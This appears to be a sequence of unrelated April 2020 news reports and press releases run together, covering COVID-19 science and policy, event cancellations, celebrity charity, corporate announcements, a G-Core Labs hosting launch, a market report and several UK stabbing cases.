when it's exposed to 56 degrees Celsius for 30 minutes and the weather is never going to get that hot. 'So globally, even during the summer, the chance of cases going down significantly is small.' Emergency room in the Papa Giovanni XXIII Hospital in Bergamo, Italy. Researchers say the disease will not be truly eradicated Paramedics deliver a patient to the Royal London Hospital in London. Chinese researchers also revealed that they saw no evidence that the virus's spread will slow during the summer Last week, Bill Bryan of the US Department of Homeland Security presented a report that sunlight may kill the coronavirus on surfaces within minutes. It suggested that radiation given off by UV rays can damage the virus' genetic material and hamper its ability to replicate on surfaces. There is no evidence UV rays can kill the coronavirus in the body. Mr Bryan's report triggered a bizarre outburst by Donald Trump who proposed two dangerous new treatments, which included injecting cleaning agents in the body and the use of ultraviolet lights. Leading scientists rubbished the use of UV rays as a therapeutic, and begged the public to not expose themselves to harmful radiation, proven to cause skin cancer. Makers of disinfectants also rushed out emergency statements warning people not to consume them in any way. Balmoral Show - Northern Ireland's largest agricultural event - has been called off due to the coronavirus pandemic. The show attracts more than 120,000 people over four days and takes place anually at the Eikon Exhibition Centre in Lisburn. But due to the Covid-19 crisis the event - originally planned for May and then postponed until August - has ultimately been cancelled. It comes in response to the current public health crisis which has seen dozens of prominent country events cancelled across the UK. Organisers the Royal Ulster Agricultural Society (RUAS) said it had looked at 'all alternative options' to save the popular event. RUAS chief executive Dr Alan Crowe said the news would be "disappointing to many" but added that "as a society, we have an obligation to protect the health and wellbeing". "As Northern Ireland's largest agri-food event, we are aware of the time, money and hard work put into attending the show by livestock exhibitors, competitors, sponsors, trade stands and suppliers," he said in a statement. "With many local farmers, businesses and visitors facing financial uncertainty at present, we feel that everything is stacked against us in trying to run a show in August." "Moving forward, the RUAS will continue to take great pride in supporting and showcasing our local farming community and we plan to return next year with a Balmoral Show stronger than ever," Dr Crowe added. Balmoral Show will next take place on 12-15 May 2021, according to RUAS. Actor Arjun Kapoor has come forward to host a charity sale of his personal closet for the care of stray animals during the nationwide lockdown imposed to contain coronavirus cases. I have been doing my best to support as many organisations I can in this crucial hour of need. Whilst we are battling with the pandemic, we must also not forget to be humane to the animals that need our help, said Arjun. Talking of the government-imposed lockdown to contain coronavirus, the 34-year-old also addressed that theres been a staggering increase in animals starving on streets because their usual sources of food - like our street stalls and restaurants - have closed. For the online charity sale, the Panipat actor is sifting through his closet, picking out some of his most cherished pieces and photographing each piece himself. Later, his followers can choose from sunglasses and caps to shoes and tees, and proceeds will fund food and water for hungry and thirsty stray animals that are affected by the lockdown. In my small way, I am supporting the efforts for World For All, which is providing food and water to stray animals during this lockdown and Im putting up for sale some pieces from my closet in an online fundraiser, he said. The sale proceeds will entirely go to them. So, I hope people will join me in supporting this important cause, the actor added. Also read: Ayushmann Khurrana and Kartik Aaryan refused Hungama 2, says Priyadarshan: Maybe they think Im outdated, dont like to beg actors The pieces from the actors wardrobe are available at the online fundraiser- SaltScout.com, the proceedings will support World For All, which has been feeding hundreds of strays since the lockdown began. Animals on the street are struggling more than ever as the scraps they would survive on thanks to restaurants and kind strangers have dwindled. There are countless stray animals dying of hunger all over the world as we fight to survive this global crisis, read a statement from World for All. Earlier, the actor has also donated to the PM-CARES Fund, Maharashtra Chief Ministers Relief Fund, The Wishing Factory, and Bollywoods Federation of Western India Cine Employees (FWICE). He has also gone on a virtual date for GiveIndia to raise enough funds to feed the families of 300 daily wage earners for a month. Follow @htshowbiz for more SHARE THIS ARTICLE ON live bse live nse live Volume Todays L/H More Tata Motors on Tuesday said it is looking to raise Rs 1,000 crore through issue of debentures. "The company is desirous of offering rated, listed, unsecured, redeemable, non-convertible debentures aggregating Rs 1,000 crore in three tranches," Tata Motors said in a regulatory filing. In this regard the company is planning to hold a meeting of its duly constituted committee of the board on May 5, it added. The fund-raising is pursuant to the approval of the board's resolution passed at its meeting held on March 27, 2020, the auto major said. G-Core Labs opens new hosting and CDN location in Hong Kong Luxembourg( ) G-Core Labs, the international provider of cloud and edge solutions, expands the Asian segment of its global network infrastructure and opens its first point of presence in China. The PoP is located in Hong Kong, in the economic center of the Celestial Empire, offering customers secure dedicated and virtual servers, as well as services for a rapid content delivery. By opening a point of presence in Hong Kong, one of the world's economic capitals, we want to provide companies of all sectors, including retail, media, video games, finance, insurance or cloud services, with premium experience in ensuring the stable and uninterrupted operation of their online resources and IT infrastructure, as well as the ability to deliver even the heaviest content to customers and audiences in millisecond. We believe that our new location will be in demand both in China, the world's largest online community, and among Asian, European and American companies seeking to work effectively in the local and regional markets, - said Dmitry Samoshkin, G-Core Labs vice president of products. Hong Kong is known for its comfortable legal regime including in the field of Internet regulation. This factor opens up additional opportunities for international and Asian online businesses. G-Core Labs servers are located in a certified Tier III class data center. The company provides 5 TB of traffic for free for each dedicated server. The functionality of the automatic installation of the most popular operating systems (OS) (Windows and Unix), installed when ordering the server, is provided in companys dedicated and virtual servers. It significantly saves time for system deployment. You can also connect your own ISO image and install the necessary OS yourself. All G-Core Labs servers are protected from DDoS attacks using G-Core Labs unique technology for intelligent filtering of network traffic. The dedicated servers of the company provide constant free access to their IPMI (note - abbr. from the intelligent platform management interface), which allows to quickly solve any issue with hosting in a remote format even in case of a emergency situation. G-Core Labs virtual server is based on KVM virtualization technology, which guarantees high and uninterrupted performance and is equipped with fast SSD disks. You can get acquainted with the configuration options of dedicated and virtual servers by the link. G-Core Labs CDN supports all necessary protocols, including HTTP/2 (by default), SSL and IPv6, and also provides flexible system configuration options: access through the API, opportunities to pre-load heavy files, to clear cache completely or selectively, to set and manage cache storing time, cache return, inheriting caching parameters, to ignore request parameters and cookies etc. The global architecture of G-Core Labs content delivery network, located on 5 continents, was created by experts on high-load systems. Today, it includes more than 60 points of presence, 5000+ peering partners, 300+ cash servers and the total network capacity is 10+ Tbit/sec. On G-Core Labs company G-Core Labs is an international cloud and edge leader in content delivery, public cloud services, hosting and security solutions for any business headquartered in Luxembourg, whose global infrastructure is included in the Guinness Book of Records. G-Core Labs provides a wide range of services for customers of all industries that develop their business online. The company's services include managed hosting, content delivery network (CDN), advanced media platform for professional broadcasts and streaming of any complexity, protection against DDoS attacks of any level, cloud content storage etc. G-Core Labs built its own global infrastructure on all continents (over 500 nodes in reliable Tier 3 data centers) with the best CDN performance in Europe, Russia and the CIS. The company's clients are leading international and regional brands in the field of telecommunications, finance, media, video games developers and publishers, including MTS, Beeline, Megaphone, Tinkoff Bank, Wargaming holding (World of Tanks, World of Warships, World of Warplanes), american publisher of games RedFox Games, TV channel "78", etc. On G-Core Labs managed hosting Hosting by G-Core Labs is managed and highly reliable (Tier 3 data centers) dedicated and virtual servers all over the world, incl. in the Netherlands, Luxembourg, the USA (Miami, Chicago, Santa Clara, Ashburn), Singapore, Japan (Tokyo), Korea (Seoul), Australia (Melbourne), Israel (Tel Aviv), Russia (Moscow, Krasnoyarsk, Yekaterinburg, Khabarovsk), which are suitable for solving problems of any complexity. For its servers, G-Core Labs uses modern advanced equipment with a wide range of configurations and the ability to upgrade on request, the channel throughput is from 1 to 100 gigabits. Servers are reliably protected from all types of DDoS-attacks, round-the-clock multilingual support is provided. On CDN (?ontent delivery network) CDN is a content delivery network. Most often it is a set of connected servers that accelerate the "return" of data (pics, videos, scripts) to the user. CDN servers are placed as close as possible to the final audience. The CDN takes the popular content to the cache servers that accumulate it, temporarily store (cache) and give it on subsequent requests. Locating servers closer to users reduces the number of hops, latency and server response time. This way content becomes locally accessible to end users. This factor improves final users experience and turns website visitors into paying customers. G-Core Labs created its own global content delivery network (CDN) on 5 continents to solve the difficult problem of instantly transmitting the heaviest type of content high-quality online games, with peak loads on the system. The infrastructure created was tested by millions of users playing at the same time & became the owner of the Guinness record. After that G-Core Labs decided to benefit all companies interested in the instantaneous transfer of content, speeding up their websites and online stores and their highly efficient protection. G-Core Labs network is ready for any peak traffic, the total network bandwidth exceeds 10+ Tbit/s. G-Core Labs has about 5000 peering partners, agreements with major operators and an ISP license. G-CDN has the best performance in Europe, Russia and the CIS according to Citrix.com, a leader in independent monitoring and optimizing CDN performance, in the following parameters: best throughput (the amount of data that a site transmits in fixed time); the best response time (actual request processing time, plus the delay in transmitting information over the network and messages delay in the queue); the best time of files downloading. Source: Xinhua| 2020-04-28 19:32:18|Editor: huaxia Video Player Close ACCRA, April 28 (Xinhua) -- At least 13 doctors have tested positive for coronavirus (COVID-19) in Ghana, an official of the Ghana Medical Association (GMA) has said. The Ashanti regional chairman of the GMA, Paa Kwesi Baidoo, who disclosed this to the media, blamed the development on the poor distribution of Personal Protective Equipment (PPE) to health facilities across the country in the fight against COVID-19. "The virus affects virtually everybody, with no respect for the rich, poor, educated, or non-educated, including our health care professionals; nurses, pharmacists, and administrators," he told the media. Although there are other risks of exposure, he said medical professionals faced an all-time high challenge of inadequate PPE due to an improper mode of distribution, which he said endangered the lives of health care workers. As of Tuesday, the Ashanti region has 69 cases, the second-highest number of people infected in a region by COVID-19 in the country. Enditem The Supreme Court asked the Centre on Monday to put on record the Ministry of Home Affairs' notification that directs private companies to pay full salary to employees during the lockdown period. This decision came after multiple firms moved the Supreme Court against the MHA notification. The Bench of Justices NV Ramana, Sanjay Kishan Kaul and BR Gavai passed the order and sought Centre's response within two weeks, as mentioned in Live Law. The petitions were filed by Mumbai-based Nagreeka Exports, Ficus Px Ltd, a Karnataka-based packaging company and Ludhiana Hand Tools Association. Nagreeka, the first petitioner withdrew its petition citing conflict of submissions. Also read: Coronavirus India Live Updates: Lockdown 3.0 or phased exit? PM Modi's address likely this week; tally-29,435 Ficus Pax challenged the constitutional validity of the MHA order stating that these two notifications were "arbitrary, illegal, irrational, unreasonable and contrary to the provisions of law including Article 14 and Article 19 (1) (g) of the Constitution of India." The company stated that before the lockdown it had 176 permanent and 939 contract workers and that it had paid the wages to all workers for the month of March. It argued that such a notification can turn an "otherwise stable and solvent industrial establishment, especially an MSME establishment, into insolvency and loss of control of business." Also read: Coronavirus outbreak: Plea challenges govt order to pay full salary amid lockdown Ludhiana Hand Tools Association challenged the constitutional validity of the order and said that it must be "struck down". It argued that one-sided implementation of a contract alone is not permitted "since the relationship between employer and employee consists of reciprocal promises wherein payment can be enforced only against consideration of performing work." The MHA order had said, "All the employers, be it in the industry or in the shops and commercial establishments shall make payment of wages of their workers at their work places, on the due date, without any deduction, for the period their establishments are under closure during the lockdown." Also read: Coronavirus: First COVID-19 case reported from Supreme Court INDIA CORONAVIRUS TRACKER: BusinessToday.In brings you a daily tracker as coronavirus cases continue to spread. Here is the state-wise data on total cases, fatalities and recoveries in one comprehensive graphic. Such plans cover more than 100 million Americans more than the number of beneficiaries covered by the Medicare program for seniors or by Medicaid for low-income families. All four insurance giants say improved telehealth benefits dont necessarily apply to such coverage. Nor can governors or state insurance regulators force those plans, which are regulated federally, to upgrade telehealth coverage. As the global back-to-work drive accelerates, countries, including Britain, Chile, Germany, Italy and parts of the United States, have begun testing sections of their respective populations for coronavirus antibodies. Chile has already announced it will be issuing health passports that will provide an excuse to send workers back to the workplace. Presently, there is no scientifically proven basis for governments to suggest that having acquired antibodies to the SARS-CoV-2 virus guarantees immunity to reinfection, nor should it serve as a basis for an immunity passport. This was stated most clearly by the World Health Organization last Friday, There is currently no evidence that people who have recovered from COVID-19 and have antibodies are protected from a second infection. The WHO continued that, despite claims to the contrary, there is not enough evidence about the effectiveness of antibody-mediated immunity to guarantee the accuracy of an immunity passport or risk-free certificate. The agency also warned, People who assume that they are immune to a second infection because they have received a positive test result may ignore public health advice. The use of such certificates may therefore increase the risks of continued transmission. One of the most well-known attempts to justify sending workers back to offices and factories based on a supposed antibody count comes from the controversial Santa Clara study, as it has come to be known. Jay Bhattacharya, a Stanford researcher, recruited patients through Facebook ads targeted by geography and demographics to determine the prevalence of the virus in the community. Participants provided blood samples which were tested using Premier Biotechs serology test kit, which looks for antibodies to the virus. Based on a finding of 50 positive tests out of a total of 3,335, they concluded that the prevalence of the disease ranged from 2.5 to 4.2 percent, a 50- to 85-fold increase over the 956 cases then reported by the state of California. The implication was that the infection fatality rate for the coronavirus was about 0.1 to 0.2 percent, much lower than previously thought. The study was published online before going through a peer-review process. The story was immediately picked up by the mainstream media, claiming that the research demonstrated the pandemic had largely run its course and that it was time to begin opening the country. This became a key part of the narrative presented on behalf of the worlds financial oligarchs, by an assortment of corporate executives and government officials, that the population must return to work to save capitalism, regardless of the risks. The antibody test has become their godsendboth a touchstone and an artful dodge. However, they make no mention of the fact that the data in the Santa Clara study has been widely discredited in the days since its release. An initial review of the statistics by biostatistician Balaji S. Srinivasan provides a step -by-step critique of the errors, showing that anywhere from 35 percent to 100 percent of those testing positive may have been false positives, implying that they did not actually have antibodies to the coronavirus. Srinivasan also exposed how the recruitment of people for the study inherently biased the results. Instead of a random search of the population, potential subjects were targeted based on whether or not they felt they had been exposed in the recent past even if they had no symptoms. This would potentially select people with antibodies into the study and wrongfully skew the results. More worrisome in the Santa Clara study is its unfounded conclusion that the lethality of COVID-19 is just slightly higher than that of the flu. This goes against everything that is known about the experience of frontline health care workers in New York City and numerous other countries. If the virus is so much less lethal than previously thought, they do not bother to explain why COVID-19 fatalities have exceeded those from cardiovascular disease and cancer nor acknowledge that in every country the staggering excess deaths reported have been due to COVID-19. It has also been revealed by BuzzFeed News that the wife of the lead author had sent an email to a Silicon Valley middle schools private email server to recruit subjects, promising they would have peace of mind with regards to their immunity if they would participate. Additionally, the email falsely claimed that the FDA had approved the antibody test and worded the email in a manner that would attract participants who may previously have been ill. Worth mentioning is one of the co-authors on the study, John Ioannidis, a Stanford public health researcher, who had argued back in March that the mortality rate of COVID-19 may be much lower, potentially making the lockdown totally irrational. His opinion was published in STAT on March 17. Lead authors of the Santa Clara study, also Stanford researchers, Eran Bendavid and Jay Bhattacharya, made similar claims in the Wall Street Journal on March 24. Clearly, these investigators had well-formed opinions prior to conducting their investigation. The conclusions of a similar population-based antibody study in New York, where 3,000 samples were collected from 40 locations across 19 counties, were announced last Thursday by New York Governor Andrew Cuomo, who claimed that about one in five people in New York City and nearly 14 percent of the population of his state may have antibodies to the coronavirus. However, given the reported specificity of their antibody test, Dr. Anisha Jha of Harvards Global Health Institute pointed out on Twitter that the real rate of infections in New York could be as low as seven percent, and possibly half of those testing positive may actually be designated as false positives and not really carrying protective antibodies, and therefore are susceptible to contracting and possibly dying from the disease. These and other ultimately misleading studies prompted Dr. Mike Ryan, the head of the WHOs emergencies program, to say, Theres been an expectation that herd immunity may have been achieved and that the majority of people in society may already have developed antibodies. I think the general evidence is pointing against that and pointing towards a much lower seroprevalence of COVID-19. As an aside, terms like sensitivity and specificity of a test can be misleading to the layman. Adding complexity to understanding these statistical categories are critical distinctions and differences that have to be made between diagnostic and screening tests. It is one matter to see if a known infected patient has antibodies to SARS-CoV-2. But when the test is applied to a healthy, not infected population, where the prevalence for the disease is low, the test would likely generate a disastrous outcome. According to Richard Hoffman, MD, MPH, director of the Division of General Internal Medicine at the University of Iowa Carver College of Medicine, When [a test is] applied to a lower risk population the predictive value [of the test] drops. This is particularly a problem when you are talking about screening, where the prevalence of disease in the population is usually quite low. This has important public health implications because the number of false positive tests can be in the hundreds of thousands or even millions. The dangers of sending people back to work without protection against the coronavirus, without immunity or otherwise, was underscored by the increase in cases and deaths over the weekend. The total number of cases globally surpassed three million as the pace of new cases has remained steady for more than three weeks. According to official figures, over 200,000 people have died since the COVID-19 pandemic erupted on to the world stage, a figure which is still significantly undercounted . The reason that there are doubts about any immunity to the coronavirus is because that process within the body is complex, and the response by the body to the antigen is still not well understood. In general, the development of immunity to a pathogen is a multistep process that takes two to three weeks to complete. The initial response is called an innate, non-specific response in which the bodys immune system directs white blood cells such as neutrophils, macrophages and dendritic cells to the site of infection to slow the progress of the virus. The adaptive response is much slower, requiring days or weeks to be established. Components of the virus are initially presented to white blood cellsT-cells and B-cellswhich then develop a highly specific response to that pathogen. The coordinated effort leads to the production of antibodies, which are specialized proteins that travel through the blood and lymphatic systems. When they encounter the virus, they bind to it, preventing the virus from causing disease. However, reports of early reinfections in Japan, as well as concerns over dozens of individuals in South Korea who tested positive after a documented COVID-19 infection, have health authorities and scientists perplexed. According to the spokesman for the South Korean health and welfare minister, Son Young-rae, these positive results occurred between two days and two weeks after patients were released from quarantine. Some had developed fevers and respiratory symptoms as well. They were placed back into isolation. Data from China on patients discharged from a Wuhan hospital corroborates these unusual developments, with approximately 5-10 percent of patients who had been pronounced recovered have tested positive for the virus again. Though most studies to date have shown that patients who have recovered produced antibodies to the virus, there is also evidence from a Shanghai-based university reporting on 175 patients with confirmed COVID-19, that in one-third of them, low antibody levels were detected, and in a small subset of patients, the neutralizing antibodies were undetectable by study assays. The data also suggests there is a more complex interplay between the virus and the persons immune response. There have not been any studies conducted that indicate that the presence of antibodies to SARS-CoV-2 has conferred immunity to subsequent infection. There have only been speculations based on experiences of previous viral infections. Recognizing that all individuals lack immunity to the novel coronavirus, surveillance of people who have antibodies to the SARS-COV-2 in a population can allow inferences about the extent of infection. Antibody tests, when adequately validated and appropriately used, can assist with such public health measures. These efforts should be coordinated to answer essential questions such as determining the extent of infection in the general population, including age-specific cumulative incidence, as well as assessing the fraction of asymptomatic infections. Eventually, this will also better define the case fatality ratio. No such scientifically planned national effort has been put forth in the United States. The coordinated attack on science, dismantling the rigors and principles of the scientific process, is not a new phenomenon but has taken on a dangerously absurd turn when, in the name of science, the ruling elites attempt to support the unconfirmed hypothesis that it is safe to return to work based on screening tests for antibodies that may produce high rates of false positives. These endeavors are intended to force a Rubicon, committing the working class to endure the diktats of the markets, to making the coronavirus endemic in society, never mind the staggering potential loss in human life that such measures may cause. Pakistan's southern Sindh province Governor Imran Ismail, a very close aide of Prime Minister Imran Khan, has been tested positive for the deadly coronavirus. A stalwart of the ruling Pakistan Tehreek-e-Insaaf, Ismail said he was prepared to fight it out. "I have just been tested COVID-19 positive...I believe this is nothing against what we are prepared for. May Allah give us strength to fight this pandemic inshallah," he said in a tweet late Monday night. Prime Minister Khan and several top leaders of his party expressed good wishes for the governor. Minister for Science Fawad Chaudhry said that it was disturbing news for him. "For me Governor sindh @ImranIsmailPTI is not only a friend but a mentor and a brother very very perturbed on news about his CoronaVirus positive test, may Allah be kind on all of us...," he tweeted. Governor Ismail again took to twitter to thank everyone. "I am thankful to all the cabinet members, friends & family who showed their concern regarding my health...I am in good health & spirit," he said. Ismail is the highest official to test positive so far. Earlier, Sindh minister for education, Saeed Ghani, tested positive but recovered. Governor Ismail is currently in self-isolation. Before he was tested COVID-9 positive, the governor spent 10 very busy days where he met a host of people and attended important meetings. The number of coronavirus cases in Pakistan has crossed the 14,000-mark and claimed the lives of over 300 people. Technavio has been monitoring the connected ship solutions market and it is poised to grow by USD 2.25 billion during 2019-2023, progressing at a CAGR of almost 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005588/en/ Technavio has announced its latest market research report titled Global Connected Ship Solutions Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. ABB Ltd., Emerson Electric Co., General Electric Co., Northrop Grumman Corp., and Siemens AG are some of the major market participants. The rising seaborne trade activities will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Rising seaborne trade activities has been instrumental in driving the growth of the market. Connected Ship Solutions Market 2019-2023: Segmentation Connected Ship Solutions Market is segmented as below: Type Commercial Defense Market Landscape On-board Onshore Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR31970 Connected Ship Solutions Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our connected ship solutions market report covers the following areas: Connected Ship Solutions Market Size Connected Ship Solutions Market Trends Connected Ship Solutions Market Industry Analysis This study identifies digital transformation of marine industry as one of the prime reasons driving the connected ship solutions market growth during the next few years. Connected Ship Solutions Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the connected ship solutions market, including some of the vendors such as ABB Ltd., Emerson Electric Co., General Electric Co., Northrop Grumman Corp., and Siemens AG. Backed with competitive intelligence and benchmarking, our research reports on the connected ship solutions market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Connected Ship Solutions Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist connected ship solutions market growth during the next five years Estimation of the connected ship solutions market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the connected ship solutions market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of connected ship solutions market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY SHIP TYPE Market segmentation by ship type Comparison by ship type Commercial Market size and forecast 2018-2023 Defense Market size and forecast 2018-2023 Market opportunity by ship type PART 07: MARKET SEGMENTATION BY INSTALLATION TYPE Market segmentation by installation type PART 08: CUSTOMER LANDSCAPE PART 09: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Europe Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 10: DECISION FRAMEWORK PART 11: DRIVERS AND CHALLENGES Market drivers Market challenges PART 12: MARKET TRENDS Increasing number of applications of analytics in maritime information management Increasing emergence of autonomous cabs and parcel delivery fleets Emerging use of satellite imagery Growing demand for eco-friendly ship PART 13: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 14: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors ABB Ltd. Emerson Electric Co. General Electric Co. Northrop Grumman Corp. Siemens AG PART 15: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 16: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005588/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ An NHS worker staggered back home seconds after being stabbed and hammered on the front door shouting 'mum, help me' days after his father died of suspected coronavirus. Hospital worker David Gomoh, 24, was fatally wounded in a knife attack on Sunday, seconds after leaving his home in Canning Town, east London. Mr Gomoh was a supply chain worker for the NHS at St Bartholomew's Hospital in London, while his mother Marian works as a labour ward matron at Newham University Hospital. His tragic death comes days after the death of his father Ken, who is thought to have died from COVID-19, with the family due to hold the funeral tomorrow. His devastated sister Lizzie today paid tribute to her brother saying: 'He was a good person who was in the wrong place at the wrong time.' David Gomoh, who was aged 24, and had earned a marketing degree from London Southbank University, was stabbed to death at around 10.25pm on Sunday, seconds after leaving his home. His death comes soon after the recent death of his father Ken Gomoh, who died of suspected coronavirus A police statement added that the family were going through 'unimaginable torment'. Mr Gomoh had just left home on Sunday evening and was attacked by a masked gang barely 100 metres away at 10.25pm. He managed to return to his family's terrace home shouting for help and neighbours, hearing the commotion, ran out and administered first aid. Medics arrived a short time later and took over trying to revive him. A friend, who lives nearby, told MailOnline: 'I heard someone running past my house shouting. 'I looked out and saw David was banging on the door of his family home. He was shouting 'mum, help me. Help, help. A few seconds later he fell to the ground by the doorstep. 'By now his family had come out and other neighbours had rushed of their homes to try and help. 'The ambulance and police arrived. The medics were working on David initially in his front garden. 'It's terrible. David was so nice, he had such a kind heart. I don't know if he was mistaken for someone else. 'This isn't the first stabbing to take place around here recently, there's been so many. 'And there's no CCTV so we just don't feel safe. I've been on edge ever since this happened. A police car at the scene of the stabbing in Newham, London, on Sunday. Police have today named the victim as 24-year-old David Gomoh Another neighbour told how he had battled to save David before paramedics arrived. He said: 'I was on the phone to the police and they were advising myself and a few others what to do. 'We cut David's top off and I could see that there was a stab wound just under his collar bone and a few more on his side. 'He was unconscious by this point and we were just trying to keep him alive.' Mr Gomoh's family were already reeling from tragedy, following the death of David's father from suspected coronavirus. David, like his mother who is a nurse, worked for the NHS after volunteering as a keyworker helping to keep NHS staff supplied with essential equipment. The Metropolitan Police say nothing in David's background gives any reason for why he was singled out and they believe he was 'murdered in a totally unprovoked attack'. Today, his sister Lizzie said her brother 'was not into anything bad.' Speaking at the family home, where relatives had gathered, she said: 'He was a good person, not gang affiliated in anyway. He'd gone to university to study advertising and graduated with a 2:1. 'The night he was attacked he was just minding his own business. He was in the wrong place at the wrong time. He did not deserve what happened to him.' Officers say Mr Gomoh, a marketing graduate at London Southbank University, was not doing anything which gives any reason for why he was singled out. They believe he was 'murdered in a totally unprovoked attack'. A spokesman for London South Bank University, where Mr Gomoh graduated in July 2017 said 'A tragic incident, in which London South Bank University graduate, David Gomoh, was fatally injured, took place in Newham on Sunday 26 April. 'The University would like to extend its sincere and heartfelt condolences, sympathy and support to David's family and friends at this very sad time.' Flowers left at the scene of the stabbing on Freemasons Road in Newham, East London. Detective Inspector Tony Kirk of the Met Police Specialist Crime Command said: 'David's family are going through unimaginable torment. 'Within days his mother has seen the death of her husband and son; his sister has lost her brother and father, both are now heartbroken. 'David was a young man who had worked hard to put himself through university and, like his mother, worked hard for the community in the NHS.' DI Kirk added: 'At this time we believe the only thing David did to be murdered was walk down a street. 'He was apparently approached by a group of men wearing masks and stabbed multiple times in a ferocious assault.' Police are now appealing for information from the public. They believe those involved left the scene in a stolen silver Dodge Caliber, stolen in Dagenham on April 16, that was found abandoned soon after in Lincoln Road, London. Anyone with information is asked to call call detectives at the Met Police incident room on 0208 345 3985 or contact via 101 quoting CAD 8371/26APR. The appeal comes as police in the Midlands named a father-of-one who died after he was stabbed in broad daylight outside a busy shopping centre. Pictured below is Karl Gallagher, 31, who suffered a stab wound to his heart after an incident outside West Cross Shopping Centre in Smethwick, West Midlands. He died following the incident, which took place 4.40pm on Sunday, April 26. Eight people have been arrested after police launched a murder investigation. Mr Gallagher's death came as Britain endured a weekend of bloodshed that left two others dead and a 16-year-old boy fighting for his life in hospital. Karl Gallagher (pictured left and right), 31, suffered a stab wound to his heart after an incident outside West Cross Shopping Centre in Smethwick, West Midlands. Police have arrested eight people after launching a murder investigation Medical equipment shown marking the ground outside West Cross Shopping Centre, Smethwick, where a 31-year-old man died after being stabbed Three people were killed and one was left fighting for his life over the weekend. The fatal attacks were in Newham and Smethwick. A man was due to appear in court yesterday charged with murder in Hackney. Tributes have since been paid following the death of Mr Gallagher, who leaves behind a young daughter. In a statement released through West Midlands Police, Mr Gallagher's family said: 'Karl was a very dearly loved son, brother, nephew, cousin and partner. 'He was also a proud and loving father. His friends and family are devastated.' Police say two men aged 19, as well as a 21-year-old and a 20-year-old have been arrested on suspicion of murder. Three others men, aged 20, 21 and 22, have been held on suspicion of assisting an offender. A 24-year-old man has also been held on suspicion of obstructing police. Officers say they raided six properties overnight, and continue to examine CCTV and mobile phone footage from the scene of the stabbing. Detective Chief Inspector Jim Munro said: 'We've made significant progress over the past 24 hours and are building up a clearer picture of the events of Sunday afternoon.' Mr Gallagher's death came on a weekend where, in a separate incident, a man in his 20s was stabbed to death in Newham, east London, and in another incident, on Saturday, a man died following an incident in Hackney. Also at the weekend, a 16-year-old boy was left in a critical condition after two separate knife attacks in the West Midlands. Two teenagers were stabbed in broad daylight in Solihull at around 2.40pm yesterday A 16-year-old boy and a 19-year-old man were taken to hospital after the attack which police are treating as attempted murder Police arrested a 14-year-old boy on suspicion of attempted murder after two teenagers were stabbed in broad daylight in Solihull at around 2.40pm on Sunday. Dramatic footage of the incident shows a group of youths fighting near Marston Green Park moments before the attack. In the earlier West Midlands stabbing, near Marston Green Park, the 16-year-old boy was rushed to hospital and was previously said to be in a critical condition. Another teenager, 19, was also taken to hospital but has been described as stable. The 14-year-old suspect remained in custody as of last night as witnesses were urged to contact West Midlands Police with any information. Police arrested a 14-year-old boy on suspicion of attempted murder after an attack near Marston Green Park in the town (Pictured: police at the scene) A man was found with serious injuries following an attack at the West Cross Shopping Centre in Smethwick (Pictured: police at the scene) The victim had suffered knife injuries and the air ambulance was called but unfortunately the man was pronounced dead before he could be taken on board In another separate incident, a man was due to appear at Thames magistrates' court on Monday charged with murder over the death of a man in Trinity Close, Hackney. The incident was said to have taken place at 12.25pm on Saturday. Romayne Husbands, 26, from east London, was arrested by homicide detectives, reports the Evening Standard. PHOENIX A man has been arrested in connection with a 2016 murder case involving a woman who was fatally shot days after she was released from a Phoenix jail, authorities said Monday. Maricopa County Sheriffs officials said 60-year-old Tony Tyrone Reed was taken into custody Saturday after his genetic profile matched DNA recovered from the homicide victim. Sheriffs officials say a womans body was found on Nov. 9, 2016 that was later identified as 39-year-old Sabrina Rollins. The county Office of the Medical Examiner determined Rollins died as a result of gunshot wounds and submitted a sexual assault kit to the Arizona Department of Public Safety Crime Laboratory. The lab developed 